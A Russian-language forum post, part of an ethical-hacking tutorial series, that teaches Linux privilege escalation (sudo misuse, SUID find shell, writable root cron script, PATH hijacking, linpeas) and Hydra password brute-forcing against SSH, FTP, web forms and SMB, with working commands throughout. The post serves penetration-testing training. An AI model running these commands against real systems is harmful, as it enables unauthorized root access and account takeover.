HMCoba
Форумчанин
- Регистрация
- 14.06.2025
- Сообщения
- 24
- Реакции
- 34

Повышение привилегий: поиск SUID и cron-уязвимостей

Часть 1 — Введение в этичный хакинг
Часть 2 — Установка Kali Linux и создание тестовой среды
Часть 3 — Тестирование уязвимостей веб-приложений
Часть 4 — Продвинутые атаки и анализ окружения
Часть 5 — Удалённый доступ и обратные подключения
Часть 6 — Повышение привилегий, поиск SUID и cron-уязвимостей
Часть 7 — Автоматизация атак с помощью Python и работа с Metasploit
Как получить полный контроль над системой ?
Если вы уже умеете находить уязвимости и получаете базовый доступ к системе — пора перехватить полный контроль.
Это и называется повышение привилегий (Privilege Escalation) — переход от ограниченного пользователя к root (полный доступ).

В Linux у каждого пользователя есть уровень прав:
-
Код:
www-data
-
Код:
user
-
Код:
root
Если вы попали как
Код:
www-data
- Читать чужие файлы
- Изменять настройки системы
- Устанавливать программы
Наша цель — получить root-доступ и показать, как опасна уязвимость.
Этап 1: Узнаём, кто мы и где находимся
Полезные команды:
Код:
whoami
id
uname -a
hostname
Этап 2: Проверка прав через sudo
Код:
sudo -l
Код:
(ALL) NOPASSWD: /bin/bash
Запускаем:
Код:
sudo /bin/bash
whoami
Код:
root
Этап 3: Поиск файлов с SUID-битами — что это и зачем искать
Когда файл имеет специальный флаг SUID (Set User ID), это значит, что он будет исполняться от имени владельца файла, а не пользователя, который его запускает.

Команда для поиска всех таких файлов:
Код:
find / -perm -u=s -type f 2>/dev/null

–
/
— ищем по всей системе–
-perm -u=s
— фильтруем только SUID-файлы–
-type f
— только обычные файлы–
2>/dev/null
— скрываем сообщения об ошибке доступа к системным директориямОбычные безопасные файлы:
Код:
/usr/bin/passwd
/usr/bin/sudo
Но если вы видите что-то необычное, например:
Код:
/usr/bin/find
/usr/bin/python
/usr/bin/vim
Пример: повышаем привилегии через find с SUID
Если
find
имеет root-SUID:
Код:
find . -exec /bin/sh \;
Код:
whoami
Код:
root
---
Этап 4: Проверка cron-задач от root — что это и как использовать

Команды для проверки всех cron-задач:
Код:
ls -la /etc/cron.*
cat /etc/crontab
crontab -l
Что искать:
– Скрипты, исполняемые от root
– Файлы, которые вы можете редактировать (есть права на запись)
Пример уязвимости:
Если видите:
Код:
* * * * * root /tmp/backup.sh
/tmp/backup.sh
можно изменить, замените его содержимое:
Код:
#!/bin/bash
/bin/bash
Сделайте файл исполняемым:
Код:
chmod +x /tmp/backup.sh

---
Этап 5: Уязвимые переменные окружения (PATH, LD_PRELOAD)

Код:
cp important.txt /backup/
$PATH
подделана, скрипт выполнит вашу версию команды cp
.Пошаговая подмена команды cp:
1. Создайте фальшивый скрипт:
Код:
echo "/bin/bash" > cp
chmod +x cp
2. Добавьте текущую папку в PATH:
Код:
export PATH=.:$PATH
Теперь, когда вызовется
cp
— выполнится /bin/bash
от имени того, кто вызвал скрипт. Если это root — вы получите root-доступ.---
Этап 6: Автоматизированный поиск уязвимостей с linpeas

linpeas
— скрипт, который автоматически ищет ВСЕ возможные векторы повышения привилегий: от SUID до уязвимостей ядра.1. Скачиваем скрипт:
Код:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
2. Делаем его исполняемым:
Код:
chmod +x linpeas.sh
3. Запускаем:
Код:
./linpeas.sh

- Файлы с SUID
- Уязвимые cron-скрипты
- Ошибки в PATH
- Доступные эксплойты ядра
- Плохие разрешения на конфигурационные файлы
Используйте
Ctrl + F
(или /
в терминале) и ищите ключевые слова: SUID
, cron
, PATH
, writable
, exploitable
.
Просто выполните:
Код:
whoami
Если результат:
Код:
root

Hydra — мощный инструмент для перебора паролей, используемый для тестирования безопасности систем аутентификации.

Перебор (brute-force) — метод подбора правильного логина и пароля путём последовательного перебора возможных вариантов из словарей.

Словари — это текстовые файлы со списками часто используемых логинов или паролей. Hydra использует их для автоматического подбора комбинаций. Например, файл rockyou.txt содержит миллионы популярных паролей.

Hydra работает с разными типами сервисов — SSH, FTP, веб-формы, SMB и др. Для каждого протокола предусмотрен отдельный модуль, который знает, как правильно взаимодействовать с сервисом.

sudo apt update
sudo apt install hydra
Проверка установки: hydra -h

- ssh
- ftp
- telnet
- http, https, http-post-form, http-get-form
- smb, rdp, vnc, mysql, postgres, smtp, imap, ldap и другие

hydra [OPTIONS] [TARGET] [MODULE]
- [OPTIONS] — параметры (например, списки логинов и паролей)
- [TARGET] — IP-адрес или домен цели
- [MODULE] — протокол, например ssh, ftp, http-post-form

1) Перебор логинов и паролей на SSH:
hydra -L users.txt -P passwords.txt ssh://192.168.1.10
Где:
- -L users.txt — файл со списком логинов
- -P passwords.txt — файл со списком паролей
- ssh://192.168.1.10 — цель с указанием протокола
2) Перебор пароля с одним логином на FTP:
hydra -l admin -P rockyou.txt ftp://192.168.1.20
Где:
- -l admin — один логин "admin"
- -P rockyou.txt — словарь паролей
3) Атака на веб-форму методом HTTP POST:
hydra -l admin -P passlist.txt 192.168.1.5 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Incorrect"
Объяснение:
- /login.php — путь к форме авторизации на сервере
- username=^USER^&password=^PASS^ — параметры формы, где ^USER^ и ^PASS^ — специальные маркеры, которые Hydra заменяет текущими логином и паролем из словарей
- F=Incorrect — текст ошибки в ответе при неудачной авторизации. Очень важно указать корректно, чтобы Hydra понимала, когда попытка не удалась.
4) Перебор логинов и паролей на SMB:
hydra -L logins.txt -P passwords.txt smb://192.168.1.15

| Опция | Назначение |
|-------|----------------------------------- |
| -L | Файл со списком логинов |
| -l | Один логин |
| -P | Файл со списком паролей |
| -p | Один пароль |
| -s | Указать порт (если нестандартный) |
| -t | Количество потоков (по умолчанию 16) |
| -f | Остановить после первого успеха |
| -o | Сохранить результат в файл |
| -vV | Подробный вывод |

В Kali Linux уже предустановлен:
/usr/share/wordlists/rockyou.txt.gz
Для использования его нужно разархивировать:
gunzip /usr/share/wordlists/rockyou.txt.gz

- Используйте флаг -t 4–8 при медленном соединении для снижения нагрузки
- Не ставьте слишком агрессивные параметры, чтобы избежать блокировок
- Перед атакой веб-формы изучите её с помощью Burp Suite или curl
- Точно определите строку отказа авторизации (параметр F=) — это критично для успеха

Сегодня вы узнали:
- Что такое привилегии и зачем их повышают
- Как использовать sudo без пароля
- Как найти SUID-файлы и использовать их
- Как использовать cron-задачи для захвата системы
- Как подделать команды через PATH
- Как linpeas помогает найти слабые места
- Ознакомились с командами и инструментом Hydra

Этот материал предназначен исключительно для учебных целей.
Любое несанкционированное проникновение в системы — незаконно и наказуемо по закону.
Работайте только в лабораторной среде или с письменного согласия владельца.

- Автоматизация атак с помощью Python
- Первичный вход в Metasploit Framework

Последнее редактирование: